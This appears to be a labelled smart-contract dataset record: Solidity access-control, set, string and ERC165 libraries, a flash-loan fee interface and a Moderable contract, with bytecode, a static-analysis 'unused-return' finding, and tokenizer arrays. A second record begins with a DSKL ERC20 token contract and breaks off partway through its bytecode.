AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping (address => bool) members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ */ function _checkRole(bytes32 role, address account) internal view { if(!hasRole(role, account)) { revert(string(abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ))); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; interface IFlashLoanFeeProvider { /** * @dev Set new fee on FlashProvider. * @param feePercentage at which the fee was changed. * @param feeAmountDivider at which the fee was changed. **/ event SetFee(uint256 feePercentage, uint256 feeAmountDivider); /** * @dev Set treasury percentage. * @param treasuryFeePercentage is the percentage of the fee that is going to a treasury. **/ event SetTreasuryFeePercentage(uint256 treasuryFeePercentage); /** * @dev Set fee percentage and divider. * @param _flashFeePercentage to use for future calculations. * @param _flashFeeAmountDivider use for calculating percentages under 1%. **/ function setFee(uint256 _flashFeePercentage, uint256 _flashFeeAmountDivider) external; } // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.4; import '@openzeppelin/contracts/utils/Context.sol'; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an moderator) that can be granted exclusive access to * specific functions. * * By default, the moderator account will be the one that deploys the contract. This * can later be changed with {transferModeratorship}. * * This module is used through inheritance. It will make available the modifier * `onlyModerator`, which can be applied to your functions to restrict their use to * the moderator. */ abstract contract Moderable is Context { address private _moderator; event ModeratorTransferred(address indexed previousModerator, address indexed newModerator); /** * @dev Initializes the contract setting the deployer as the initial moderator. */ constructor() { address msgSender = _msgSender(); _moderator = msgSender; emit ModeratorTransferred(address(0), msgSender); } /** * @dev Returns the address of the current moderator. */ function moderator() public view virtual returns (address) { return _moderator; } /** * @dev Throws if called by any account other than the moderator. */ modifier onlyModerator() { require(moderator() == _msgSender(), 'Moderator: caller is not the moderator'); _; } /** * @dev Leaves the contract without moderator. It will not be possible to call * `onlyModerator` functions anymore. Can only be called by the current moderator. * * NOTE: Renouncing moderatorship will leave the contract without an moderator, * thereby removing any functionality that is only available to the moderator. */ function renounceModeratorship() public virtual onlyModerator { emit ModeratorTransferred(_moderator, address(0)); _moderator = address(0); } /** * @dev Transfers moderatorship of the contract to a new account (`newModeratorship`). * Can only be called by the current moderator. */ function transferModeratorship(address newModerator) public virtual onlyModerator { require(newModerator != address(0), 'Moderable: new moderator is the zero address'); emit ModeratorTransferred(_moderator, newModerator); _moderator = newModerator; } }
0x608060405234801561001057600080fd5b50600436106100575760003560e01c80635cffe9de1461005c578063613255ab146100845780638237e538146100a5578063d8a06f73146100cc578063d9d98ce41461010b575b600080fd5b61006f61006a366004610d3f565b61011e565b60405190151581526020015b60405180910390f35b610097610092366004610ca4565b6108df565b60405190815260200161007b565b6100977f439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd981565b6100f37f00000000000000000000000079323464e09800607e676a03b987330cdf04874b81565b6040516001600160a01b03909116815260200161007b565b610097610119366004610cdc565b610ab3565b604051630c7e172560e01b81526001600160a01b03858116600483015260009182917f00000000000000000000000079323464e09800607e676a03b987330cdf04874b1690630c7e17259060240160206040518083038186803b15801561018457600080fd5b505afa158015610198573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101bc9190610cc0565b6001600160a01b031614156101ec5760405162461bcd60e51b81526004016101e390610e32565b60405180910390fd5b604051630c7e172560e01b81526001600160a01b0386811660048301526000917f00000000000000000000000079323464e09800607e676a03b987330cdf04874b90911690630c7e17259060240160206040518083038186803b15801561025257600080fd5b505afa158015610266573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061028a9190610cc0565b9050806001600160a01b031663b187bd266040518163ffffffff1660e01b815260040160206040518083038186803b1580156102c557600080fd5b505afa1580156102d9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102fd9190610d07565b1561033c5760405162461bcd60e51b815260206004820152600f60248201526e159055531517d254d7d4105554d151608a1b60448201526064016101e3565b806001600160a01b031663258066496040518163ffffffff1660e01b815260040160206040518083038186803b15801561037557600080fd5b505afa158015610389573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103ad9190610d27565b85116104075760405162461bcd60e51b815260206004820152602360248201527f464c4153485f56414c55455f49535f4c4553535f5448414e5f4d494e5f414d4f60448201526215539560ea1b60648201526084016101e3565b806001600160a01b031663cc7a262e6040518163ffffffff1660e01b815260040160206040518083038186803b15801561044057600080fd5b505afa158015610454573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104789190610cc0565b6040516370a0823160e01b81526001600160a01b03838116600483015291909116906370a082319060240160206040518083038186803b1580156104bb57600080fd5b505afa1580156104cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104f39190610d27565b8511156105425760405162461bcd60e51b815260206004820152601a60248201527f414d4f554e545f4249474745525f5448414e5f42414c414e434500000000000060448201526064016101e3565b600061054e8787610b89565b60405163176a01e960e31b81526001600160a01b038a81166004830152602482018990529192509083169063bb500f4890604401602060405180830381600087803b15801561059c57600080fd5b505af11580156105b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d49190610d07565b6106205760405162461bcd60e51b815260206004820152601c60248201527f464c4153485f4c454e4445525f5452414e534645525f4641494c45440000000060448201526064016101e3565b6040516323e30c8b60e01b81527f439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9906001600160a01b038a16906323e30c8b906106789033908c908c9088908d908d90600401610dd9565b602060405180830381600087803b15801561069257600080fd5b505af11580156106a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ca9190610d27565b146107175760405162461bcd60e51b815260206004820152601c60248201527f464c4153485f4c454e4445525f43414c4c4241434b5f4641494c45440000000060448201526064016101e3565b6001600160a01b0382166318a2985389610731848a610e73565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b15801561077757600080fd5b505af115801561078b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107af9190610d07565b6107fb5760405162461bcd60e51b815260206004820152601960248201527f464c4153485f4c454e4445525f52455041595f4641494c45440000000000000060448201526064016101e3565b6040516397046d9960e01b8152600481018290526000906001600160a01b038416906397046d9990602401602060405180830381600087803b15801561084057600080fd5b505af1158015610854573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108789190610d27565b604080516001600160a01b038b81168252602082018b9052918101859052606081018390529192508a16907fea9aac78e0e48af4897630506e75b1ddba28503b58e70fe7bd92bce4f6efde7c9060800160405180910390a250600198975050505050505050565b604051630c7e172560e01b81526001600160a01b03828116600483015260009182917f00000000000000000000000079323464e09800607e676a03b987330cdf04874b1690630c7e17259060240160206040518083038186803b15801561094557600080fd5b505afa158015610959573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061097d9190610cc0565b6001600160a01b0316141561099457506000919050565b604051630c7e172560e01b81526001600160a01b0380841660048301819052916370a08231917f00000000000000000000000079323464e09800607e676a03b987330cdf04874b1690630c7e17259060240160206040518083038186803b1580156109fe57600080fd5b505afa158015610a12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a369190610cc0565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b158015610a7557600080fd5b505afa158015610a89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aad9190610d27565b92915050565b604051630c7e172560e01b81526001600160a01b03838116600483015260009182917f00000000000000000000000079323464e09800607e676a03b987330cdf04874b1690630c7e17259060240160206040518083038186803b158015610b1957600080fd5b505afa158015610b2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b519190610cc0565b6001600160a01b03161415610b785760405162461bcd60e51b81526004016101e390610e32565b610b828383610b89565b9392505050565b604051630c7e172560e01b81526001600160a01b0383811660048301526000917f00000000000000000000000079323464e09800607e676a03b987330cdf04874b90911690630c7e17259060240160206040518083038186803b158015610bef57600080fd5b505afa158015610c03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c279190610cc0565b6001600160a01b0316636c28ebb9836040518263ffffffff1660e01b8152600401610c5491815260200190565b60206040518083038186803b158015610c6c57600080fd5b505afa158015610c80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b829190610d27565b600060208284031215610cb5578081fd5b8135610b8281610e97565b600060208284031215610cd1578081fd5b8151610b8281610e97565b60008060408385031215610cee578081fd5b8235610cf981610e97565b946020939093013593505050565b600060208284031215610d18578081fd5b81518015158114610b82578182fd5b600060208284031215610d38578081fd5b5051919050565b600080600080600060808688031215610d56578081fd5b8535610d6181610e97565b94506020860135610d7181610e97565b935060408601359250606086013567ffffffffffffffff80821115610d94578283fd5b818801915088601f830112610da7578283fd5b813581811115610db5578384fd5b896020828501011115610dc6578384fd5b9699959850939650602001949392505050565b6001600160a01b03878116825286166020820152604081018590526060810184905260a06080820181905281018290526000828460c084013781830160c090810191909152601f909201601f1916010195945050505050565b60208082526021908201527f464c4153485f4c454e4445525f554e535550504f525445445f43555252454e436040820152605960f81b606082015260800190565b60008219821115610e9257634e487b7160e01b81526011600452602481fd5b500190565b6001600160a01b0381168114610eac57600080fd5b5056fea26469706673582212204041e9592364df327a69f2a1958c7a064aa6bd4e517bbc3879caa6b10e126e6f64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2620, 2546, 2629, 6679, 19797, 2692, 2575, 2509, 2050, 19317, 2581, 15878, 2546, 2692, 22025, 22907, 2094, 2692, 27717, 29097, 2683, 2620, 27421, 16086, 2581, 2581, 20958, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 3902, 2140, 1011, 1015, 1012, 1015, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1018, 1025, 12324, 1005, 1012, 1013, 19706, 1013, 29464, 11890, 21486, 26976, 10258, 11823, 7770, 4063, 1012, 14017, 1005, 1025, 12324, 1005, 1012, 1013, 11632, 21450, 1012, 14017, 1005, 1025, 3206, 5956, 4135, 2319, 21572, 17258, 2121, 2003, 29464, 11890, 21486, 26976, 10258, 11823, 7770, 4063, 1063, 2724, 5956, 4135, 2319, 1006, 4769, 25331, 8393, 1010, 4769, 19204, 1010, 21318, 3372, 17788, 2575, 3815, 1010, 21318, 3372, 17788, 2575, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,320
0x968fe4e1cb52cc9e81ffaaa9787e463f6d8b58d5
pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // // Symbol : DSKL // Name : DSKL Token // Total supply : 50000000000000000000000000 // Decimals : 18 // Owner Account : 0x2555aE1559aE4821e17E087EF8a70B381CB095af // // Enjoy. // // (c) by Design Skull 2020. MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Lib: Safe Math // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } /** ERC Token Standard #20 Interface https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md */ contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } /** Contract function to receive approval and execute function in one call Borrowed from MiniMeToken */ contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } /** ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers */ contract DSKLToken is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "DSKL"; name = "DSKL Token"; decimals = 18; _totalSupply = 50000000000000000000000000; balances[0x2555aE1559aE4821e17E087EF8a70B381CB095af] = _totalSupply; emit Transfer(address(0), 0x2555aE1559aE4821e17E087EF8a70B381CB095af, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461017057806318160ddd146101d557806323b872dd14610200578063313ce567146102855780633eaaf86b146102b657806370a08231146102e157806395d89b4114610338578063a293d1e8146103c8578063a9059cbb14610413578063b5931f7c14610478578063cae9ca51146104c3578063d05c78da1461056e578063dd62ed3e146105b9578063e6cb901314610630575b600080fd5b3480156100ec57600080fd5b506100f561067b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013557808201518184015260208101905061011a565b50505050905090810190601f1680156101625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017c57600080fd5b506101bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610719565b604051808215151515815260200191505060405180910390f35b3480156101e157600080fd5b506101ea61080b565b6040518082815260200191505060405180910390f35b34801561020c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610856565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b5061029a610ae6565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102c257600080fd5b506102cb610af9565b6040518082815260200191505060405180910390f35b3480156102ed57600080fd5b50610322600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aff565b6040518082815260200191505060405180910390f35b34801561034457600080fd5b5061034d610b48565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561038d578082015181840152602081019050610372565b50505050905090810190601f1680156103ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103d457600080fd5b506103fd6004803603810190808035906020019092919080359060200190929190505050610be6565b6040518082815260200191505060405180910390f35b34801561041f57600080fd5b5061045e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c02565b604051808215151515815260200191505060405180910390f35b34801561048457600080fd5b506104ad6004803603810190808035906020019092919080359060200190929190505050610d8b565b6040518082815260200191505060405180910390f35b3480156104cf57600080fd5b50610554600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610daf565b604051808215151515815260200191505060405180910390f35b34801561057a57600080fd5b506105a36004803603810190808035906020019092919080359060200190929190505050610f